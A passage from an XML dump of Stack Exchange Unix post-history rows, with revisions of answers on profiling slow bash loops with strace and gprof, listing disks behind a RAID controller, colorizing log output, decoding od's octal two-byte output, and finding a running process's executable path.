faster:&#xD;&#xA;&#xD;&#xA;    $ time ./bash-gprof junk3.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    ./bash-gprof junk3.sh  0.10s user 0.16s system 96% cpu 0.264 total&#xD;&#xA;&#xD;&#xA;    $ strace -c ./bash-gprof junk3.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    % time     seconds  usecs/call     calls    errors syscall&#xD;&#xA;    ------ ----------- ----------- --------- --------- ----------------&#xD;&#xA;     97.63    0.039538        5648         7         3 waitpid&#xD;&#xA;      2.37    0.000961          37        26           writev&#xD;&#xA;      0.00    0.000000           0         9           read&#xD;&#xA;      ...&#xD;&#xA;      0.00    0.000000           0         4           clone&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ gprof ./bash-gprof gmon.out &#xD;&#xA;    Flat profile:&#xD;&#xA;&#xD;&#xA;    Each sample counts as 0.01 seconds.&#xD;&#xA;     no time accumulated&#xD;&#xA;&#xD;&#xA;      %   cumulative   self              self     total           &#xD;&#xA;     time   seconds   seconds    calls  Ts/call  Ts/call  name    &#xD;&#xA;      0.00      0.00     0.00     1162     0.00     0.00  xmalloc&#xD;&#xA;      0.00      0.00     0.00      782     0.00     0.00  mbschr&#xD;&#xA;      0.00      0.00     0.00      373     0.00     0.00  shell_getc&#xD;&#xA;&#xD;&#xA;7 `waitpids` and 4 `clones` compared to 28806 and 14403 in the original!&#xD;&#xA;&#xD;&#xA;So the moral is: If you have to call an external command inside a loop that is repeated many times, you either need to find a way to move it out of the loop, or switch to a programming language that doesn't have to call an external command to do the work.&#xD;&#xA;" />
  <row Id="20040" PostHistoryTypeId="4" PostId="8469" RevisionGUID="ada75918-168c-46fb-9e3e-8f86bd9b0268" CreationDate="2011-03-02T21:39:36.043" UserId="3169" Comment="old title was misleading, killing a parent without killing its children is easy, unless the parent is the shell" Text="closing a terminal without killing its children" />
  <row Id="20041" PostHistoryTypeId="2" PostId="8500" RevisionGUID="8d8d2cb4-87c7-4004-8ace-2e7b1fde1d04" CreationDate="2011-03-02T21:51:39.150" UserId="4" Text="@Giles says this is highly platform-dependent. Here's one such example.&#xD;&#xA;&#xD;&#xA;I'm running a CentOS 5.5 system. This system has 4 disks and a 3ware RAID controller.&#xD;&#xA;&#xD;&#xA;In my case, `lshw -class disk` only shows the 3ware RAID controller which provides the /dev/sda volume:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # lshw -class disk&#xD;&#xA;      *-disk                  &#xD;&#xA;           description: SCSI Disk&#xD;&#xA;           product: 9650SE-4LP DISK&#xD;&#xA;           vendor: AMCC&#xD;&#xA;           physical id: 0.0.0&#xD;&#xA;           bus info: scsi@0:0.0.0&#xD;&#xA;           logical name: /dev/sda&#xD;&#xA;&#xD;&#xA;In order to see the disks which lie underneath, I had to install the tw_cli utility from 3ware, and ask the controller itself.&#xD;&#xA;&#xD;&#xA;    # tw_cli info c0&#xD;&#xA;    ...&#xD;&#xA;    &#xD;&#xA;    VPort Status         Unit Size      Type  Phy Encl-Slot    Model&#xD;&#xA;    ------------------------------------------------------------------------------&#xD;&#xA;    p0    OK             u0   931.51 GB SATA  0   -            WDC WD1002FBYS-02A6 &#xD;&#xA;    p1    OK             u0   931.51 GB SATA  1   -            WDC WD1002FBYS-02A6 &#xD;&#xA;&#xD;&#xA;" />
  <row Id="20042" PostHistoryTypeId="12" PostId="8497" RevisionGUID="432ea061-7b8a-41f2-b070-208b5cd8a4b6" CreationDate="2011-03-02T21:51:59.757" UserId="4" Text="[{&quot;Id&quot;:4,&quot;DisplayName&quot;:&quot;Stefan Lasiewski&quot;}]" />
  <row Id="20043" PostHistoryTypeId="5" PostId="8499" RevisionGUID="05aecef2-a5c9-4115-ba3a-0f0bc6a86998" CreationDate="2011-03-02T21:53:45.253" UserId="3169" Comment="added 2313 characters in body" Text="We know it's slow from running:&#xD;&#xA;&#xD;&#xA;    $ time ./junk.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    ./junk.sh  2.27s user 3.31s system 21% cpu 25.798 total&#xD;&#xA;&#xD;&#xA;(and that's a version that only prints 4 hours, not 2 years.)&#xD;&#xA;&#xD;&#xA;To get a better understanding of where `bash` is spending its time, we can use `strace -c`.&#xD;&#xA;&#xD;&#xA;    $ strace -c ./junk.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    % time     seconds  usecs/call     calls    errors syscall&#xD;&#xA;    ------ ----------- ----------- --------- --------- ----------------&#xD;&#xA;     79.01    0.128906           4     28806     14403 waitpid&#xD;&#xA;     17.92    0.029241           2     14403           clone&#xD;&#xA;      2.45    0.003999           0    158448           rt_sigprocmask&#xD;&#xA;      0.33    0.000532           0     28815           rt_sigaction&#xD;&#xA;      0.29    0.000479           0     14403           sigreturn&#xD;&#xA;&#xD;&#xA;So we can see that the top two calls are `waitpid` and `clone`.  They don't take up much time on their own (only 0.128906 seconds and 0.029241 seconds), but we can see they are being called a lot, so we are suspecting the problem is the fact we are having to start a separate `date` command to echo each number.&#xD;&#xA;&#xD;&#xA;So then I did some searching, and found out you can compile `bash` with `gprof` support by doing:&#xD;&#xA;&#xD;&#xA;    $ ./configure --enable-profiling --without-bash-malloc&#xD;&#xA;    $ make&#xD;&#xA;&#xD;&#xA;Now using that:&#xD;&#xA;&#xD;&#xA;    $ ./bash-gprof junk.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    $ gprof ./bash-gprof gmon.out&#xD;&#xA;&#xD;&#xA;    Each sample counts as 0.01 seconds.&#xD;&#xA;      %   cumulative   self              self     total           &#xD;&#xA;     time   seconds   seconds    calls   s/call   s/call  name    &#xD;&#xA;      8.05      0.28     0.28    14403     0.00     0.00  make_child&#xD;&#xA;      6.61      0.51     0.23                             __gconv_transform_utf8_internal&#xD;&#xA;      5.75      0.71     0.20                             fork&#xD;&#xA;      5.75      0.91     0.20   259446     0.00     0.00  hash_search&#xD;&#xA;      5.17      1.09     0.18   129646     0.00     0.00  dispose_words&#xD;&#xA;&#xD;&#xA;So assuming the function names are meaningful, it confirms that the problem is we are making `bash` fork and call an external command repeatedly.&#xD;&#xA;&#xD;&#xA;If we move the `&gt;&gt;` to the end of the `while` loop, it barely makes a dent.&#xD;&#xA;&#xD;&#xA;    $ time ./junk2.sh&#xD;&#xA;    ...&#xD;&#xA;    ./junk2.sh  2.46s user 3.18s system 22% cpu 25.659 total&#xD;&#xA;&#xD;&#xA;But Gilles' answer finds a way to only run `date` once, and not surprisingly, it's **much** faster:&#xD;&#xA;&#xD;&#xA;    $ time ./bash-gprof junk3.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    ./bash-gprof junk3.sh  0.10s user 0.16s system 96% cpu 0.264 total&#xD;&#xA;&#xD;&#xA;    $ strace -c ./bash-gprof junk3.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    % time     seconds  usecs/call     calls    errors syscall&#xD;&#xA;    ------ ----------- ----------- --------- --------- ----------------&#xD;&#xA;     97.63    0.039538        5648         7         3 waitpid&#xD;&#xA;      2.37    0.000961          37        26           writev&#xD;&#xA;      0.00    0.000000           0         9           read&#xD;&#xA;      ...&#xD;&#xA;      0.00    0.000000           0         4           clone&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ gprof ./bash-gprof gmon.out &#xD;&#xA;    Flat profile:&#xD;&#xA;&#xD;&#xA;    Each sample counts as 0.01 seconds.&#xD;&#xA;     no time accumulated&#xD;&#xA;&#xD;&#xA;      %   cumulative   self              self     total           &#xD;&#xA;     time   seconds   seconds    calls  Ts/call  Ts/call  name    &#xD;&#xA;      0.00      0.00     0.00     1162     0.00     0.00  xmalloc&#xD;&#xA;      0.00      0.00     0.00      782     0.00     0.00  mbschr&#xD;&#xA;      0.00      0.00     0.00      373     0.00     0.00  shell_getc&#xD;&#xA;&#xD;&#xA;7 `waitpids` and 4 `clones` compared to 28806 and 14403 in the original!&#xD;&#xA;&#xD;&#xA;So the moral is: If you have to call an external command inside a loop that is repeated many times, you either need to find a way to move it out of the loop, or switch to a programming language that doesn't have to call an external command to do the work.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;As requested, a test based on Iain's method (modified to use same variable names and looping):&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    datein=junk.$$.datein&#xD;&#xA;    file=junk.$$&#xD;&#xA;    ((secY2=3600*4))&#xD;&#xA;    cnt=0&#xD;&#xA;    secBeg=$(date --date=&quot;2010-01-01 00:00:00&quot; +%s)&#xD;&#xA;    secEnd=$((secBeg+secY2))&#xD;&#xA;    ((sec=secBeg))&#xD;&#xA;    while ((sec&lt;=secEnd)) ; do&#xD;&#xA;      echo @$sec &gt;&gt;&quot;$datein&quot;&#xD;&#xA;      ((sec+=1))&#xD;&#xA;      ((cnt+=1))&#xD;&#xA;    done&#xD;&#xA;    date --file=&quot;$datein&quot; '+%Y-%m-%d %H:%M:%S' &gt;&gt;&quot;$file&quot;&#xD;&#xA;    ls -l &quot;$file&quot;&#xD;&#xA;    rm &quot;$datein&quot;&#xD;&#xA;    echo Lines written: $cnt&#xD;&#xA;&#xD;&#xA;Results:&#xD;&#xA;&#xD;&#xA;    $ time ./bash-gprof ./junk4.sh &#xD;&#xA;    Lines written: 14401&#xD;&#xA;    ./bash-gprof ./junk4.sh  0.92s user 0.20s system 94% cpu 1.182 total&#xD;&#xA;&#xD;&#xA;    $ strace -c ./junk4.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    % time     seconds  usecs/call     calls    errors syscall&#xD;&#xA;    ------ ----------- ----------- --------- --------- ----------------&#xD;&#xA;     91.71    0.116007       14501         8         4 waitpid&#xD;&#xA;      3.70    0.004684           0     14402           write&#xD;&#xA;      1.54    0.001944           0     28813           close&#xD;&#xA;      1.35    0.001707           0     72008         1 fcntl64&#xD;&#xA;      0.88    0.001109           0     43253           rt_sigprocmask&#xD;&#xA;      0.45    0.000566           0     28803           dup2&#xD;&#xA;      0.36    0.000452           0     14410           open&#xD;&#xA;&#xD;&#xA;    $ gprof ./bash-gprof gmon.out &#xD;&#xA;    Flat profile:&#xD;&#xA;&#xD;&#xA;    Each sample counts as 0.01 seconds.&#xD;&#xA;      %   cumulative   self              self     total           &#xD;&#xA;     time   seconds   seconds    calls  ms/call  ms/call  name    &#xD;&#xA;     22.06      0.15     0.15                             __gconv_transform_utf8_internal&#xD;&#xA;     16.18      0.26     0.11                             mbrtowc&#xD;&#xA;      7.35      0.31     0.05                             _int_malloc&#xD;&#xA;      5.88      0.35     0.04                             __profile_frequency&#xD;&#xA;      4.41      0.38     0.03   345659     0.00     0.00  readtok&#xD;&#xA;      4.41      0.41     0.03                             _int_free&#xD;&#xA;      2.94      0.43     0.02   230661     0.00     0.00  hash_search&#xD;&#xA;      2.94      0.45     0.02    28809     0.00     0.00  stupidly_hack_special_variables&#xD;&#xA;      1.47      0.46     0.01   187241     0.00     0.00  cprintf&#xD;&#xA;      1.47      0.47     0.01   115232     0.00     0.00  do_redirections&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20044" PostHistoryTypeId="5" PostId="8499" RevisionGUID="ad6caed3-6271-43d4-add7-4d834aaff6f9" CreationDate="2011-03-02T22:08:50.660" UserId="3169" Comment="added 2125 characters in body" Text="We know it's slow from running:&#xD;&#xA;&#xD;&#xA;    $ time ./junk.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    ./junk.sh  2.27s user 3.31s system 21% cpu 25.798 total&#xD;&#xA;&#xD;&#xA;(and that's a version that only prints 4 hours, not 2 years.)&#xD;&#xA;&#xD;&#xA;To get a better understanding of where `bash` is spending its time, we can use `strace -c`.&#xD;&#xA;&#xD;&#xA;    $ strace -c ./junk.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    % time     seconds  usecs/call     calls    errors syscall&#xD;&#xA;    ------ ----------- ----------- --------- --------- ----------------&#xD;&#xA;     79.01    0.128906           4     28806     14403 waitpid&#xD;&#xA;     17.92    0.029241           2     14403           clone&#xD;&#xA;      2.45    0.003999           0    158448           rt_sigprocmask&#xD;&#xA;      0.33    0.000532           0     28815           rt_sigaction&#xD;&#xA;      0.29    0.000479           0     14403           sigreturn&#xD;&#xA;&#xD;&#xA;So we can see that the top two calls are `waitpid` and `clone`.  They don't take up much time on their own (only 0.128906 seconds and 0.029241 seconds), but we can see they are being called a lot, so we are suspecting the problem is the fact we are having to start a separate `date` command to echo each number.&#xD;&#xA;&#xD;&#xA;So then I did some searching, and found out you can compile `bash` with `gprof` support by doing:&#xD;&#xA;&#xD;&#xA;    $ ./configure --enable-profiling --without-bash-malloc&#xD;&#xA;    $ make&#xD;&#xA;&#xD;&#xA;Now using that:&#xD;&#xA;&#xD;&#xA;    $ ./bash-gprof junk.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    $ gprof ./bash-gprof gmon.out&#xD;&#xA;&#xD;&#xA;    Each sample counts as 0.01 seconds.&#xD;&#xA;      %   cumulative   self              self     total           &#xD;&#xA;     time   seconds   seconds    calls   s/call   s/call  name    &#xD;&#xA;      8.05      0.28     0.28    14403     0.00     0.00  make_child&#xD;&#xA;      6.61      0.51     0.23                             __gconv_transform_utf8_internal&#xD;&#xA;      5.75      0.71     0.20                             fork&#xD;&#xA;      5.75      0.91     0.20   259446     0.00     0.00  hash_search&#xD;&#xA;      5.17      1.09     0.18   129646     0.00     0.00  dispose_words&#xD;&#xA;&#xD;&#xA;So assuming the function names are meaningful, it confirms that the problem is we are making `bash` fork and call an external command repeatedly.&#xD;&#xA;&#xD;&#xA;If we move the `&gt;&gt;` to the end of the `while` loop, it barely makes a dent.&#xD;&#xA;&#xD;&#xA;    $ time ./junk2.sh&#xD;&#xA;    ...&#xD;&#xA;    ./junk2.sh  2.46s user 3.18s system 22% cpu 25.659 total&#xD;&#xA;&#xD;&#xA;But Gilles' answer finds a way to only run `date` once, and not surprisingly, it's **much** faster:&#xD;&#xA;&#xD;&#xA;    $ time ./bash-gprof junk3.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    ./bash-gprof junk3.sh  0.10s user 0.16s system 96% cpu 0.264 total&#xD;&#xA;&#xD;&#xA;    $ strace -c ./bash-gprof junk3.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    % time     seconds  usecs/call     calls    errors syscall&#xD;&#xA;    ------ ----------- ----------- --------- --------- ----------------&#xD;&#xA;     97.63    0.039538        5648         7         3 waitpid&#xD;&#xA;      2.37    0.000961          37        26           writev&#xD;&#xA;      0.00    0.000000           0         9           read&#xD;&#xA;      ...&#xD;&#xA;      0.00    0.000000           0         4           clone&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ gprof ./bash-gprof gmon.out &#xD;&#xA;    Flat profile:&#xD;&#xA;&#xD;&#xA;    Each sample counts as 0.01 seconds.&#xD;&#xA;     no time accumulated&#xD;&#xA;&#xD;&#xA;      %   cumulative   self              self     total           &#xD;&#xA;     time   seconds   seconds    calls  Ts/call  Ts/call  name    &#xD;&#xA;      0.00      0.00     0.00     1162     0.00     0.00  xmalloc&#xD;&#xA;      0.00      0.00     0.00      782     0.00     0.00  mbschr&#xD;&#xA;      0.00      0.00     0.00      373     0.00     0.00  shell_getc&#xD;&#xA;&#xD;&#xA;7 `waitpids` and 4 `clones` compared to 28806 and 14403 in the original!&#xD;&#xA;&#xD;&#xA;So the moral is: If you have to call an external command inside a loop that is repeated many times, you either need to find a way to move it out of the loop, or switch to a programming language that doesn't have to call an external command to do the work.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;As requested, a test based on Iain's method (modified to use same variable names and looping):&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    datein=junk.$$.datein&#xD;&#xA;    file=junk.$$&#xD;&#xA;    ((secY2=3600*4))&#xD;&#xA;    cnt=0&#xD;&#xA;    secBeg=$(date --date=&quot;2010-01-01 00:00:00&quot; +%s)&#xD;&#xA;    secEnd=$((secBeg+secY2))&#xD;&#xA;    ((sec=secBeg))&#xD;&#xA;    while ((sec&lt;=secEnd)) ; do&#xD;&#xA;      echo @$sec &gt;&gt;&quot;$datein&quot;&#xD;&#xA;      ((sec+=1))&#xD;&#xA;      ((cnt+=1))&#xD;&#xA;    done&#xD;&#xA;    date --file=&quot;$datein&quot; '+%Y-%m-%d %H:%M:%S' &gt;&gt;&quot;$file&quot;&#xD;&#xA;    ls -l &quot;$file&quot;&#xD;&#xA;    rm &quot;$datein&quot;&#xD;&#xA;    echo Lines written: $cnt&#xD;&#xA;&#xD;&#xA;Results:&#xD;&#xA;&#xD;&#xA;    $ time ./bash-gprof ./junk4.sh &#xD;&#xA;    Lines written: 14401&#xD;&#xA;    ./bash-gprof ./junk4.sh  0.92s user 0.20s system 94% cpu 1.182 total&#xD;&#xA;&#xD;&#xA;    $ strace -c ./junk4.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    % time     seconds  usecs/call     calls    errors syscall&#xD;&#xA;    ------ ----------- ----------- --------- --------- ----------------&#xD;&#xA;     91.71    0.116007       14501         8         4 waitpid&#xD;&#xA;      3.70    0.004684           0     14402           write&#xD;&#xA;      1.54    0.001944           0     28813           close&#xD;&#xA;      1.35    0.001707           0     72008         1 fcntl64&#xD;&#xA;      0.88    0.001109           0     43253           rt_sigprocmask&#xD;&#xA;      0.45    0.000566           0     28803           dup2&#xD;&#xA;      0.36    0.000452           0     14410           open&#xD;&#xA;&#xD;&#xA;    $ gprof ./bash-gprof gmon.out &#xD;&#xA;    Flat profile:&#xD;&#xA;&#xD;&#xA;    Each sample counts as 0.01 seconds.&#xD;&#xA;      %   cumulative   self              self     total           &#xD;&#xA;     time   seconds   seconds    calls  ms/call  ms/call  name    &#xD;&#xA;     22.06      0.15     0.15                             __gconv_transform_utf8_internal&#xD;&#xA;     16.18      0.26     0.11                             mbrtowc&#xD;&#xA;      7.35      0.31     0.05                             _int_malloc&#xD;&#xA;      5.88      0.35     0.04                             __profile_frequency&#xD;&#xA;      4.41      0.38     0.03   345659     0.00     0.00  readtok&#xD;&#xA;      4.41      0.41     0.03                             _int_free&#xD;&#xA;      2.94      0.43     0.02   230661     0.00     0.00  hash_search&#xD;&#xA;      2.94      0.45     0.02    28809     0.00     0.00  stupidly_hack_special_variables&#xD;&#xA;      1.47      0.46     0.01   187241     0.00     0.00  cprintf&#xD;&#xA;      1.47      0.47     0.01   115232     0.00     0.00  do_redirections&#xD;&#xA;&#xD;&#xA;So `close` and `open` are showing up.&#xD;&#xA;&#xD;&#xA;Now Eelvex's observation about `&gt;&gt;` per line versus `&gt;` around the `while` loop starts to make a difference.&#xD;&#xA;&#xD;&#xA;Let's factor it out...&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    datein=junk.$$.datein&#xD;&#xA;    file=junk.$$&#xD;&#xA;    ((secY2=3600*4))&#xD;&#xA;    cnt=0&#xD;&#xA;    secBeg=$(date --date=&quot;2010-01-01 00:00:00&quot; +%s)&#xD;&#xA;    secEnd=$((secBeg+secY2))&#xD;&#xA;    for ((sec=secBeg; sec&lt;=secEnd; sec=sec+1)) ; do&#xD;&#xA;      echo @$sec&#xD;&#xA;      ((cnt+=1))&#xD;&#xA;    done &gt;&quot;$datein&quot;&#xD;&#xA;    date --file=&quot;$datein&quot; '+%Y-%m-%d %H:%M:%S' &gt;&gt;&quot;$file&quot;&#xD;&#xA;    ls -l &quot;$file&quot;&#xD;&#xA;    rm &quot;$datein&quot;&#xD;&#xA;    echo Lines written: $cnt&#xD;&#xA;&#xD;&#xA;    $ time ./junk6.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    ./junk6.sh  0.58s user 0.14s system 95% cpu 0.747 total&#xD;&#xA;&#xD;&#xA;    $ strace -c junk6.sh&#xD;&#xA;    Lines written: 14401&#xD;&#xA;    % time     seconds  usecs/call     calls    errors syscall&#xD;&#xA;    ------ ----------- ----------- --------- --------- ----------------&#xD;&#xA;     97.41    0.092263       11533         8         4 waitpid&#xD;&#xA;      2.06    0.001949           0     43252           rt_sigprocmask&#xD;&#xA;      0.53    0.000506           0     14402           write&#xD;&#xA;      0.00    0.000000           0        13           read&#xD;&#xA;      0.00    0.000000           0        10           open&#xD;&#xA;      0.00    0.000000           0        13           close&#xD;&#xA;      0.00    0.000000           0         1           execve&#xD;&#xA;&#xD;&#xA;    $ gprof ./bash-gprof gmon.out&#xD;&#xA;    Flat profile:&#xD;&#xA;&#xD;&#xA;    Each sample counts as 0.01 seconds.&#xD;&#xA;      %   cumulative   self              self     total           &#xD;&#xA;     time   seconds   seconds    calls  ms/call  ms/call  name    &#xD;&#xA;     10.00      0.05     0.05    72025     0.00     0.00  expand_word_internal&#xD;&#xA;     10.00      0.10     0.05                             __gconv_transform_utf8_internal&#xD;&#xA;      8.00      0.14     0.04                             __profile_frequency&#xD;&#xA;      8.00      0.18     0.04                             _int_malloc&#xD;&#xA;      4.00      0.20     0.02  1355024     0.00     0.00  xmalloc&#xD;&#xA;      4.00      0.22     0.02   303217     0.00     0.00  mbschr&#xD;&#xA;&#xD;&#xA;Which is also much, **much** faster than the original script, but slightly slower that Gilles'." />
  <row Id="20045" PostHistoryTypeId="5" PostId="8477" RevisionGUID="eada0731-cff8-4b43-bbec-326cfdf710f8" CreationDate="2011-03-02T22:09:41.630" UserId="885" Comment="fixed grammar (following comments in chat)" Text="No your source folder is not intact... On the same file system, all `mv` does is add and remove directory entries. But on a different filesystem... I'm not sure at what point it unlinks the file, and whether it removes data as it goes... but once a file is moved, it is unlinked. This is unless of course you used a special option. [This question]( http://unix.stackexchange.com/q/4936/29) might interest you in the future." />
  <row Id="20046" PostHistoryTypeId="5" PostId="8445" RevisionGUID="15f0473d-ed2a-4ffc-b0c3-f6ccc7f77585" CreationDate="2011-03-02T22:13:51.797" UserId="4" Comment="Add hyperlink to ccze" Text="Try a little piece of software called '[ccze][1]'.&#xD;&#xA;&#xD;&#xA;tail -f somelogfile | ccze -A &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://freshmeat.net/projects/ccze/" />
  <row Id="20047" PostHistoryTypeId="24" PostId="8445" RevisionGUID="15f0473d-ed2a-4ffc-b0c3-f6ccc7f77585" CreationDate="2011-03-02T22:13:51.797" Comment="Proposed by 4 approved by 885 edit id of 177" />
  <row Id="20048" PostHistoryTypeId="2" PostId="8501" RevisionGUID="d7aec601-1a03-4511-8609-5fdb33043db0" CreationDate="2011-03-02T22:28:44.430" UserId="2231" Text="You can use [colorex][1], which allows to colorize lines based on regular expressions:&#xD;&#xA;&#xD;&#xA;    colorex --red='SEVERE.*' --green='INFO.*' -- tail -f my-file.log&#xD;&#xA;&#xD;&#xA;It also comes bundled with [predefined configs][2], for example for Tomcat logs:&#xD;&#xA;&#xD;&#xA;    colorex --config=tomcat -- tail -f my-file.log&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/nicoulaj/colorex&#xD;&#xA;  [2]: https://github.com/nicoulaj/colorex/tree/master/src/configs" />
  <row Id="20049" PostHistoryTypeId="2" PostId="8502" RevisionGUID="6fe67a09-e7fb-4763-8f76-cdc420d1a4c0" CreationDate="2011-03-02T22:50:36.180" UserId="5270" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm struggling to work out what the octal 2-byte output from the od command is. I understand the octal output (-b flag) but the octal 2-byte is a mystery to me (-o)&#xD;&#xA;&#xD;&#xA;Can someone shed some light on how the -o result is calculated from ASCII?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is an example:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [root@localhost lpi103-2]# cat text1&#xD;&#xA;    1 apple&#xD;&#xA;    2 pear&#xD;&#xA;    3 banana&#xD;&#xA;    [root@localhost lpi103-2]# od -c text1&#xD;&#xA;    0000000   1       a   p   p   l   e  \n   2       p   e   a   r  \n   3&#xD;&#xA;    0000020       b   a   n   a   n   a  \n&#xD;&#xA;    0000030&#xD;&#xA;    [root@localhost lpi103-2]# od -bc text1&#xD;&#xA;    0000000 061 040 141 160 160 154 145 012 062 040 160 145 141 162 012 063&#xD;&#xA;              1       a   p   p   l   e  \n   2       p   e   a   r  \n   3&#xD;&#xA;    0000020 040 142 141 156 141 156 141 012&#xD;&#xA;                  b   a   n   a   n   a  \n&#xD;&#xA;    0000030&#xD;&#xA;    [root@localhost lpi103-2]# od -oc text1&#xD;&#xA;    0000000  020061  070141  066160  005145  020062  062560  071141  031412&#xD;&#xA;              1       a   p   p   l   e  \n   2       p   e   a   r  \n   3&#xD;&#xA;    0000020  061040  067141  067141  005141&#xD;&#xA;                  b   a   n   a   n   a  \n&#xD;&#xA;    0000030&#xD;&#xA;" />
  <row Id="20050" PostHistoryTypeId="1" PostId="8502" RevisionGUID="6fe67a09-e7fb-4763-8f76-cdc420d1a4c0" CreationDate="2011-03-02T22:50:36.180" UserId="5270" Text="How is the octal 2-byte output calculated from od" />
  <row Id="20051" PostHistoryTypeId="3" PostId="8502" RevisionGUID="6fe67a09-e7fb-4763-8f76-cdc420d1a4c0" CreationDate="2011-03-02T22:50:36.180" UserId="5270" Text="étextöprocessingàéasciià" />
  <row Id="20052" PostHistoryTypeId="2" PostId="8503" RevisionGUID="498537be-8c65-4480-8f5b-16655e7d8c66" CreationDate="2011-03-02T22:56:58.500" UserId="2333" Text="I have a `xmms2d` process running, but two possible executable files (in different directories, both in the executable path) that could have spawned it. I suspect that one of those is corrupted, because sometimes this program works and sometimes it doesn't. The process running now works, so I want to delete (or rename) the other one.&#xD;&#xA;&#xD;&#xA;`ps ax|grep &quot;xmms&quot;` returns `8505 ?        SLl    2:38 xmms2d -v` without path information. Given the PID, could I find whether it was run from `/usr/bin/xmms2d` or `/usr/local/bin/xmms2d`?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="20053" PostHistoryTypeId="1" PostId="8503" RevisionGUID="498537be-8c65-4480-8f5b-16655e7d8c66" CreationDate="2011-03-02T22:56:58.500" UserId="2333" Text="Is it possible to find the path of a running program?" />
  <row Id="20054" PostHistoryTypeId="3" PostId="8503" RevisionGUID="498537be-8c65-4480-8f5b-16655e7d8c66" CreationDate="2011-03-02T22:56:58.500" UserId="2333" Text="éprocessà" />
  <row Id="20055" PostHistoryTypeId="2" PostId="8504" RevisionGUID="91bad943-1ac5-435f-9d60-7f3458f49659" CreationDate="2011-03-02T23:03:31.477" UserId="3169" Text="Try this:&#xD;&#xA;&#xD;&#xA;    ls -l /proc/8505/exe" />
  <row Id="20056" PostHistoryTypeId="2" PostId="8505" RevisionGUID="862c8d53-0630-4f26-a055-e95d1bfa7277" CreationDate="2011-03-02T23:18:17.180" UserId="4856" Text="Interesting question. After browsing the man page, I found that -o prints octal output (od == octal dump), the c you appended only prints the associated characters as well. You get the same numbers with -o alone.&#xD;&#xA;&#xD;&#xA;Now, looking at the output it appears that od is reading data two bytes at a time. Take the first two characters for instance:&#xD;&#xA;&#xD;&#xA;    CHAR - OCTAL - BINARY&#xD;&#xA;    1      061     0011 0001&#xD;&#xA;    SPACE  040     0010 0000&#xD;&#xA;&#xD;&#xA;Now the answer comes when we concatenate the binary values (with the '1' on the right, the SPACE on the left):&#xD;&#xA;&#xD;&#xA;    0010 0000 0011 0001&#xD;&#xA;&#xD;&#xA;Converting this binary value to octal gives us 020061.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;       " />
  <row Id="20057" PostHistoryTypeId="25" PostId="8503" RevisionGUID="0444f82e-f933-491f-8730-5584da39b1f8" CreationDate="2011-03-02T23:23:33.377" Comment="http://twitter.com/#!/StackUnix/status/43089086281551872" />
  <row Id="20058" PostHistoryTypeId="5" PostId="8505" RevisionGUID="94014574-b770-446b-b752-0dbdcc958107" CreationDate="2011-03-02T23:24:23.303" UserId="4856" Comment="added 166 characters in body" Text="Interesting question. After browsing the man page, I found that -o prints octal output (od == octal dump), the c you appended only prints the associated characters as well. You get the same numbers with -o alone.&#xD;&#xA;&#xD;&#xA;Now, looking at the output it appears that od is reading data two bytes at a time. Take the first two characters for instance:&#xD;&#xA;&#xD;&#xA;    CHAR - OCTAL - BINARY&#xD;&#xA;    1      061     0011 0001&#xD;&#xA;    SPACE  040     0010 0000&#xD;&#xA;&#xD;&#xA;Now the answer comes when we concatenate the binary values (with the '1' on the right, the SPACE on the left):&#xD;&#xA;&#xD;&#xA;    0010 0000 0011 0001&#xD;&#xA;&#xD;&#xA;Converting this binary value to octal gives us 020061.&#xD;&#xA;&#xD;&#xA;Now, why? I think the point is that od is reading two bytes at a time, and it is not concerned or aware that those two bytes are actually two separate characters.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;       " />
  <row Id="20059" PostHistoryTypeId="5" PostId="8505" RevisionGUID="12bce8dc-a25b-499c-bbb2-543684220d0b" CreationDate="2011-03-02T23:39:12.560" UserId="4856" Comment="added 17 characters in body" Text="Interesting question. After browsing the man page, I found that -o prints octal output (od == octal dump), the c you appended only prints the associated characters as well. You get the same numbers with -o alone.&#xD;&#xA;&#xD;&#xA;Looking at the output it appears that od is reading data two bytes at a time. Take the first two characters for instance:&#xD;&#xA;&#xD;&#xA;    CHAR - OCTAL - BINARY&#xD;&#xA;    1      061     0011 0001&#xD;&#xA;    SPACE  040     0010 0000&#xD;&#xA;&#xD;&#xA;The answer comes when we concatenate the binary values (with the '1' on the right, the SPACE on the left):&#xD;&#xA;&#xD;&#xA;    0010 0000 0011 0001&#xD;&#xA;&#xD;&#xA;Converting this binary value to octal gives us 020061, which is what od printed.&#xD;&#xA;&#xD;&#xA;Now, why? I think the point is that od is reading two bytes at a time, and it is not concerned or aware that those two bytes are actually two separate characters.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;       " />
